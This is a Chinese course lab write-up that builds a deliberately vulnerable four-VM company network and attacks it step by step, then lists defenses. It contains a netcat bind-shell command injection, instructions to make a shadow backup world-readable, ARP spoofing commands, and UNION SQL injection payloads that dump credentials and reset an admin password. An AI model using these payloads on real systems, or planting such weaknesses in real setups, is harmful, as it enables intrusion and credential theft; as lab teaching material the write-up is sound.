网络安全创新实验

一、网络拓扑设计

image

二、网络主机概况

本实验一共包含4台虚拟机,分别为攻击机attacker,网关gateway,内网普通用户主机pc,内网服务器server,四台主机的详细信息如下表所示:

名称操作系统IP地址网络模式作用
攻击机Ubuntu20.0410.0.2.5NAT网络攻击者操作的机器
网关Ubuntu20.0410.0.2.15/192.168.1.1NAT网络/内部网络公司的网关,同时运行了对外的网页服务
内网用户主机PCUbuntu20.04192.168.1.2内部网络内网一名用户的主机
内网服务器serverUbuntu20.04192.168.1.101内部网络内网数据库服务器

4台网络主机的网络说明:

  1. 攻击机attacker在外网环境中,有一张网卡,其网络模式为NAT网络,IP 地址为10.0.2.15;

  2. 网关gateway在内外网的边界,有两张网卡,网卡1为NAT网络,IP地址为10.0.2.17,用于接入外部网络;网卡2的网络模式为内部网络,IP 地址为192.168.1.1,为公司内部网络的网关;

  3. 内网用户主机pc在公司内网,有一张网卡,其网络模式为内部网络,IP 地址为 192.168.1.2;

  4. 内网服务器server在公司内网,IP地址为192.168.1.101,有一张网卡,其网络模式为内部网络。

实验设计时,假设内网数据库服务器存有公司机密数据,并对内网提供HTTP网站服务来管理该数据库,攻击者的最终目的是获取该网站的管理员用户密码

三、主机部署过程

3.1 网关机gateway

网关服务器向外部网络提供数字证书签发服务,以网站形式提供,需要配置apache、php环境。

$ cd ~/web
$ sudo cp -r certificate/ /var/www/

// 修改Apache2网站配置:

$ cd /etc/apache2/sites-available/
$ sudo gedit 000-default.conf

// 在最后添加

<VirtualHost *:80>

	ServerName http://www.cert.com

	DocumentRoot /var/www/certificate

</VirtualHost>

$ sudo service apache2 restart

在网关服务器上安装netcat-traditional:

$ sudo apt-get install netcat-traditional

备份shadow文件为shadow.backup,然后赋予755权限

$ sudo cp /etc/shadow shadow.backup

$ sudo chmod 755 shadow.backup

3.2 攻击者主机

攻击机需要配置hosts文件以访问网关服务器提供的网页

在攻击者主机上:

$ sudo gedit /etc/hosts

// 添加

10.0.2.15 [www.cert.com](http://www.cert.com)

打开浏览器输入http://www.cert.com/certificate.php进行访问,如果成功访问则配置成功。

image

3.3 内网用户主机

要让内网用户主机能够访问内网数据库服务器提供的数据库网页,同样需要修改hosts文件。

$ sudo gedit /etc/hosts

// 添加

192.168.1.101 www.server.com

3.4 内网服务器

安装Elgg

在服务器上(服务器已部署了elgg数据库):

//将附件中server.zip进行解压后进入该文件夹

$ unzip server.zip

$ sudo cp -r server/ /var/www/

//修改 Apache2 网站配置

$ sudo gedit /etc/apache2/ports.conf

// 增加监听端口8080

Listen 8080

$ cd /etc/apache2/sites-available/

$ sudo touch server.conf

$ sudo gedit server.conf

// 在最后添加

<VirtualHost *:8080>

     ServerName http://www.server.com

     DocumentRoot /var/www/server

</VirtualHost>

$ sudo service apache2 restart

//导入网站所需数据库:

$ cd ~/server/

// 进入 mysql

$ sudo mysql -u root

// 进入名为 elgg 的数据库

mysql> use elgg;

// 导入数据库文件;

mysql> source SQLi.sql;

// 退出 mysql 终端

mysql> exit;

四、存在漏洞分析

4.1 命令行注入漏洞

  • 攻击者访问部署在gateway上的http://www.cert.com/certificate.php,在证书签发服务中,需要用户提供姓名、邮箱、手机号码等信息,在该网页的php代码中,直接将用户输入内容作为参数输入命令行执行,因此存在cmd注入漏洞。

4.2 口令破解漏洞

  • 在gateway上,存在有shadow文件的备份shadow.backup,且该备份文件的权限较低,非root用户也可读,因此攻击者可以利用此文件破解出gateway的root密码,登陆其root账户进行进一步攻击。

4.3 网络扫描

  • 查看网关服务器的网络信息后,可以对公司内网进行nmap扫描,从而发现公司内部存活主机以及每台主机开放的端口,根据端口信息判断其开放的服务

4.4 网络欺骗漏洞

  • 在拿到网关服务器(gateway)的root权限后,通过arp欺骗欺骗内网服务器,使其关于内网普通用户主机的arp缓存信息的mac地址欺骗为网关服务器机IP,网关服务器作为中间人可以截取双方的通信信息,从而获取内网服务器的域名、内网用户的密码等相关信息。

4.5 SQL注入漏洞

  • 网关服务器访问内网服务器,通过简单的注入判断发现服务器存在SQL注入漏洞,通过构造相应的SQL注入语句从数据库读取敏感数据、并且拿到数据库服务器的管理员账号,获得操作数据库的完整权限,从而完成整个攻击。

五、网络攻击实现

  • 整体攻击流程如下图所示。

    image

5.1 攻击网关服务器

在攻击机上浏览网关服务器提供的网页,通过cmdi攻击,在“手机“一栏注入的命令为

nc -l -p 10086 -e /bin/bash

image

然后在攻击机上通过nc连接gateway的10086端口即可访问其bash:

image

在当前文件夹下,发现了一个shadow.backup文件,查看其内容,获取root账户密码的哈希值。

image

然后攻击者使用john the ripper对其进行破解,获得密码:

image

为了方便下一步攻击,在拿到root权限以后,在gateway上打开ssh服务并设置ssh密码登录与访问GUI(这里是为了后续在gateway上使用wireshark抓包)。

// 在gateway上

$ sudo vi /etc/ssh/sshd_config

// 取消`X11Forwarding yes`的注释

// 在服务器端,添加一个~/.Xauthority文件

// 添加如下内容

# only this one key is needed for X11 over SSH 

xauth generate :0 . trusted 

# generate our own key, xauth requires 128 bit hex encoding
xauth add ${HOST}:0 . $(xxd -l 16 -p /dev/urandom)

# To view a listing of the .Xauthority file, enter the following 

xauth list

// 在攻击机上
$ sudo vi /etc/ssh/sshd_config

// 取消注释`AllowAgentForwarding yes, X11Forwarding yes`两项

$ ssh -X root@10.0.2.15

5.2 内网嗅探

  • 在网关服务器上查看其网卡信息,可以知道其内网ip地址为192.168.1.1,于是对内网网段192.168.1.0/24使用nmap -Pn扫描,检测内网拓扑情况。

    image

  • nmap扫描结果如下:

    image

成功扫描到了内网主机192.168.1.2与内网数据库服务器192.168.1.101,且看到在内网数据库服务器上运行了http服务。

5.3 ARP欺骗

为了登陆部署在内网服务器上的http网站,在gateway上安装dsniff,对内网用户机进行ARP欺骗,伪装自己是内网服务器。

  • 安装dsniff:

$ sudo apt install dsniff

  • 打开内核转发:
$ sudo gedit /etc/sysctl.conf

// 修改net.ipv4.ip_forward = 1

$ sudo sysctl -p
  • 进行arp欺骗攻击:

$ sudo arpspoof -i enp0s8 -t 192.168.1.2 192.168.1.101

image

  • 然后在wireshark中抓包,截获了内网用户机登陆了/unsafe/home.php这一网站。

    image

5.4 SQL注入

  • 首先在gateway上打开ssh-tunnel,使攻击机能够访问内网服务器提供的网页:

$ ssh -Nf -L 10090:192.168.1.101:8080 <root@10.0.2.15>

image

  • 然后开始SQL注入攻击:

    • 首先判断注入类型,分别尝试PC,PC\,PC’ #发现注入类型为’ #
       

      image

      image

    • 使用order by子句二分法判断返回结果的字段个数,最终尝试出为11个字段
       

      image

      image

    • 然后输入1' union select 1,2,3,4,5,6,7,8,9,10,11#来显示报错位:

      image

    • 使用1' union select 1,2,database(),4,5,6,7,8,9,10,11#查找当前库名:

      image

      结果为elgg

    • 得到库名以后查找当前数据库中的表
      1' union select 1,2,group_concat(table_name),4,5,6,7,8,9,10,11 from information_schema.tables where table_schema=database() #

      image

    • 查询表credential中的字段
      1' union select 1,2,group_concat(column_name),4,5,6,7,8,9,10,11 from information_schema.columns where table_schema=database() and table_name='credential' #

      image

    • 查找数据,得到管理员账户的名字为Admin

1' union select 1,2,3,4,5,6,group_concat(Name),group_concat(Password),9,10,11 from credential #

image

  • 得到管理员账户的名字以后,通过SQL注入登陆PC账号在简介处注入恶意代码修改管理员账号的密码为AttackSuccessfully!。
    ',Password='7643fc2cee2b2c27d8fb45a4df23715b76f3b83b' where name = 'Admin'#

    image

  • 修改完成后,使用此密码成功登陆管理员账号,攻击成功

    image

六、防御措施总结

6.1 cmd注入攻击的防御措施

  • 对对应的输入框加入长度限制,让用户难以输入复杂的命令。
<div class="form">


	<form action="<?php echo htmlspecialchars($_SERVER["PHP_SELF"]); ?>" method="post">

		<h1>请求数字证书</h1>

		<div class="txtb">

		<label for="">姓名:</label>

		<input type="text" placeholder="请输入姓名" name="name" maxlength="20">

		</div>

		<div class="txtb">

		<label for="">邮箱:</label>

		<input type="email" placeholder="请输入邮箱" name="email_addr" maxlength="20">

		</div>

		<div class="txtb">

		<label for="">手机:</label>

		<input type="text" placeholder="请输入手机号码" name="phone_num" maxlength="11">

		</div>

		<input type="submit" value="提交请求"/>

	</form>

</div>
  • 对对应输入加入特殊符号的检查,将;,&,$等符号替换掉,防止用户进行cmd注入。
// 设置替换字符

$substitutions = array(

    `'&'  => '',

    `';'  => '',

    `'|' => '',

    `'-'  => '',

    `'$'  => '',

    `'('  => '',

    `')'  => '',

    `'`'  => '',

    `'||' => '',

);

// 替换上述字符

$target = str_replace( array_keys( $substitutions ), $substitutions, $target);

6.2 口令破解攻击的防御措施

  1. 不要泄露shadow文件,即使需要对其备份,也应该将其设置为仅root用户可读。

  2. 设置强度较高的复杂密码,不要使用容易出现在字典中的常用密码,防止被爆破。

6.3 网络扫描攻击的防御措施

在主机上配置防火墙,设置对icmp echo request等包进行拦截:

$ sudo iptables -A FORWARD -p icmp --icmp-type echo-reply -j REJECT

6.4 ARP欺骗的防御措施

  • 针对ARP欺骗可以采用如下防御措施:

    1. 采用MAC地址的静态绑定,让内网中的每台主机都有固定的IP和MAC地址,不容易被修改。

    2. 手动更新ARP缓存中的记录,防止ARP欺骗包篡改ARP映射表。

    3. 使用ARP防护软件,如ARP防火墙,及时拦截和过滤ARP欺骗包。

    4. 通过流量嗅探的方式,及时发现并隔离正在进行ARP欺骗的主机。

  • 本实验中采用MAC地址的静态绑定来防止ARP欺骗攻击:

$ sudo  arp -s 192.168.1.101 08:00:27:AE:09:E9

$ sudo  arp -s 192.168.1.2 08:00:27:57:4C:94

6.5 SQL注入攻击的防御措施

  • 产生注入的根源是代码中直接使用了用户输入的数据来拼接SQL语句,没有进行有效的过滤或转义
$sql = "SELECT id, name, eid, salary, birth, ssn, phoneNumber, address,email,nickname,Password FROM credential WHERE name= '$input_uname' and Password='$hashed_pwd'";

$sql = "UPDATE credential SET nickname='$input_nickname',email='$input_email',address='$input_address',Password='$hashed_pwd',PhoneNumber='$input_phonenumber' WHERE ID=$id;";
  • 采用预编译的方式进行处理,将SQL语句的解析和执行过程分开,只在执行的过程中代入用户的数据:
$sql = $conn->prepare("SELECT id, name, eid, salary, birth, ssn, phoneNumber, address, email,nickname,Password FROM credential WHERE name= ? and Password= ?");

$sql->bind_param("ss", $input_uname, $hashed_pwd);

$sql = $conn->prepare("UPDATE credential SET nickname=?,email=?,address=?,PhoneNumber=? where ID=$id;");

$sql->bind_param("ssss",$input_nickname,$input_email,$input_address,$input_phonenumber);

七、课程设计总结

  • 本实验使用了四台虚拟机,分别对应模拟现实中的:攻击机、企业对外提供服务的网关主机、企业内部人员使用的普通主机、企业存放重要数据的服务器。

  • 利用构造的各类漏洞,分别实现了cmd注入攻击、口令破解攻击、网络扫描攻击、ARP欺骗攻击和SQL注入攻击五种方式。

  • 具体的攻击流程:

    • 黑客访问公司外部网站,利用cmd注入攻击在gateway上用netcat运行bash,并在攻击机上连接。
    • 然后在gateway上找到并获取了非root用户可读的shadow.backup文件,对其破解获取到了gateway机器root用户的密码。
    • 获取其root密码以后,使用nmap进行网络嗅探,对内网的另外两台主机进行发现。
    • 发现配置有HTTP服务的内网服务器以后,在gateway上伪装成其向用户机器发起欺骗,从而截获内网用户发出的HTTP数据包,获取其访问的网址、账号密码。
    • 最后发现该网站存在SQL注入漏洞,对其进行SQL注入修改管理员账号的密码,成功登入管理员账号。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/935436.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

y3编辑器教学5:触发器2 案例演示

文章目录 一、探索1.1 ECA1.1.1 ECA的定义1.1.2 使用触发器实现瞬间移动效果 1.2 变量1.2.1 什么是变量1.2.2 使用变量存储碎片收集数量并展现 1.3 if语句&#xff08;魔法效果挂接&#xff09;1.3.1 地形设置1.3.2 编写能量灌注逻辑1.3.3 编写能量灌注后&#xff0c;实现传送逻…

016 在路由器上配置 DHCP

配置路由器端口IP地址 将路由器的端口地址配置好&#xff0c; 左边的网络地址是 192.168.1.0 右边的网络地址是 192.168.2.0 配置路由器的DHCP服务 打开命令窗口&#xff0c;进入特权模式 进入全局配置 conf t创建一个DHCP地址池&#xff1b; po1 是地址池的名称&#xf…

恋爱脑学Rust之并行之旅:Rayon介绍和使用

文章目录 一、开启爱情的依赖之旅&#xff08;安装 Rayon&#xff09;二、甜蜜瞬间的并行享受&#xff08;基本数据并行操作&#xff09;&#xff08;一&#xff09;共享美好时光&#xff08;par_iter 方法&#xff09;&#xff08;二&#xff09;分块珍藏回忆&#xff08;par_…

【数据库系列】PostgreSQL 数据库连接

&#x1f49d;&#x1f49d;&#x1f49d;欢迎来到我的博客&#xff0c;很高兴能够在这里和您见面&#xff01;希望您在这里可以感受到一份轻松愉快的氛围&#xff0c;不仅可以获得有趣的内容和知识&#xff0c;也可以畅所欲言、分享您的想法和见解。 推荐:kwan 的首页,持续学…

中介者模式的理解和实践

一、中介者模式概述 中介者模式&#xff08;Mediator Pattern&#xff09;&#xff0c;也称为调解者模式或调停者模式&#xff0c;是一种行为设计模式。它的核心思想是通过引入一个中介者对象来封装一系列对象之间的交互&#xff0c;使得这些对象不必直接相互作用&#xff0c;从…

吸烟抽烟行为识别数据集-超高识别率,支持YOLO,COCO,VOC格式的标注,10162张各种姿势场景下的吸烟图片

吸烟抽烟行为识别数据集-超高识别率&#xff0c;支持YOLO&#xff0c;COCO,VOC格式的标注&#xff0c;10162张各种姿势场景下的吸烟图片 数据集分割 训练组91&#xff05; 9279图片 有效集5&#xff05; 507图片 测试集4% 376图片 预处理 自动定…

【开源】基于SpringBoot框架的房屋租赁系统 (计算机毕业设计)+万字毕业论文 T020

系统合集跳转 源码获取链接 一、系统环境 运行环境: 最好是java jdk 1.8&#xff0c;我们在这个平台上运行的。其他版本理论上也可以。 IDE环境&#xff1a; Eclipse,Myeclipse,IDEA或者Spring Tool Suite都可以 tomcat环境&#xff1a; Tomcat 7.x,8.x,9.x版本均可 操作系统…

C++20 标准概念

1. 所有标准概念的概述 “类型和对象基本概念”表列出了类型和对象的基本概念。 “范围、迭代器和算法概念”表列出了范围、视图、迭代器和算法的概念。 “辅助概念”表列出的概念主要用作其他概念的构建块&#xff0c;通常不会让应用程序开发者直接使用。 头文件和命名空间 …

git的卸载与安装

目录 一、Git的卸载 二、Git的安装 2.1.1 官网下载 2.1.2 镜像下载 ​编辑 2.2 安装 2.3 检验否安装成功 三、Git使用配置 一、Git的卸载 1.找到程序&#xff0c;卸载程序 2.找到Git&#xff0c;右键卸载 卸载完成&#xff01; 二、Git的安装 2.1.1 官网下载 网址&…

科技赋能电影,互动电影开启电影新格局

近年来&#xff0c;科技赋能电影&#xff0c;让电影越来越精彩&#xff0c;也越来越多元。层出不穷的新技术新类型&#xff0c;不断丰富着电影视听语言的表现形式&#xff0c;也为观众带来更多具有交互性和个性化的观影体验。进昂互动科技在推出全球首部院线互动电影《夜班》之…

python 下载 b站视频 和音频

video_bvid&#xff1a; import os import requests import json import re from bs4 import BeautifulSoup import subprocess # from detail_video import video_bvid# video_bvid 是一个从外部得到的单个视频ID video_bvid BV1cx421Q7veclass BilibiliVideoAudio:def __in…

操作系统:虚拟存储系统

目录 1、外存资源管理 外存空间划分 进程与外存对应关系 2、虚拟页式存储系统 3、 淘汰算法&#xff08;重点&#xff09;P217 最佳淘汰算法&#xff08;OPT&#xff09; 先进先出(FIFO) 最近最少使用算法&#xff08;LRU&#xff09; 最近不用的先淘汰(LNU) 最不经常…

Linux24.04 安装企业微信

今天工作需要把windows系统换成了linux&#xff0c;但是公司的沟通工具是企业微信。去企业微信官网看了&#xff0c;没有linux版本&#xff0c;只能想办法解决了&#xff0c;不然再换回去就太坑了。 方案 1、使用docker容器&#xff0c;2、使用deepin-wine 本人对docker不太熟…

手机实时提取SIM卡打电话的信令声音--社会价值(一、方案解决了什么问题)

手机实时提取SIM卡打电话的信令声音 --社会价值(一、方案解决了什么问题) 一、前言 这段时间&#xff0c;我们在技术范围之外陷入了一个自证或者说下定义的怪圈&#xff0c;即要怎么样去介绍或者描述&#xff1a;我们是一个什么样的产品。它在当前这个世界上&#xff0c;处于…

UnityShaderLab 实现黑白着色器效果

实现思路&#xff1a;取屏幕像素的RGB值&#xff0c;将三个通道的值相加&#xff0c;除以一个大于值使颜色值在0-1内&#xff0c;再乘上一个强度值调节黑白强度。 在URP中实现需要开启Opaque Texture ShaderGraph实现&#xff1a; ShaderLab实现&#xff1a; Shader "Bl…

Burp suite2 (泷羽sec)

声明 学习视频来自B站UP主 泷羽sec,如涉及侵泷羽sec权马上删除文章。 笔记只是方便各位师傅学习知识,以下网站只涉及学习内容,其他的都与本人无关,切莫逾越法律红线,否则后果自负 这节课旨在扩大自己在网络安全方面的知识面&#xff0c;了解网络安全领域的见闻&#xff0c;了…

Devops-蓝鲸篇-01-蓝鲸智云简介

官方社区 蓝鲸智云学习社区&#xff1a;https://bk.tencent.com/s-mart/communities 蓝鲸简介 腾讯蓝鲸智云&#xff0c;简称蓝鲸&#xff0c;是腾讯互动娱乐事业群&#xff08;Interactive Entertainment Group&#xff0c;简称 IEG&#xff09;基于海量异构业务自研的一套…

9. 高效利用Excel设置归档Tag

高效利用Excel设置归档Tag 1. Excle批量新建/修改归档Tag2. 趋势记录模型批量导入归档Tag(Method1)2. 趋势记录模型批量导入归档Tag(Method2)3. 趋势记录控件1. Excle批量新建/修改归档Tag Fcatory Talk常常需要归档模拟量,对于比较大的项目工程会有成千上万个重要数据需…

未来已来:人工智能如何重塑我们的生活与工作

引言 未来的生活和工作场景正从想象走向现实。想象一下&#xff0c;一个清晨&#xff0c;语音助手已经为你安排好一天的任务&#xff0c;自动驾驶汽车准时送你上班&#xff0c;智能冰箱提醒你需要补充的食材。曾经只存在于科幻小说中的场景&#xff0c;如今正在我们的身边实现。…

Ai编程从零开始部署Node项目接口开发之云服务器ECS安装部署mysql(十四)

云风网 云风笔记 云风知识库 为了体验基本的增删改查功能&#xff0c;用户注册/登录/用户列表查询展示/删除用户等接口开发是必要的&#xff0c;这里采用node项目开发部署。如果想要简便&#xff0c;可以采用宝塔运维面板。这里直接官网下载安装包部署云服务器 一、mysql官网下…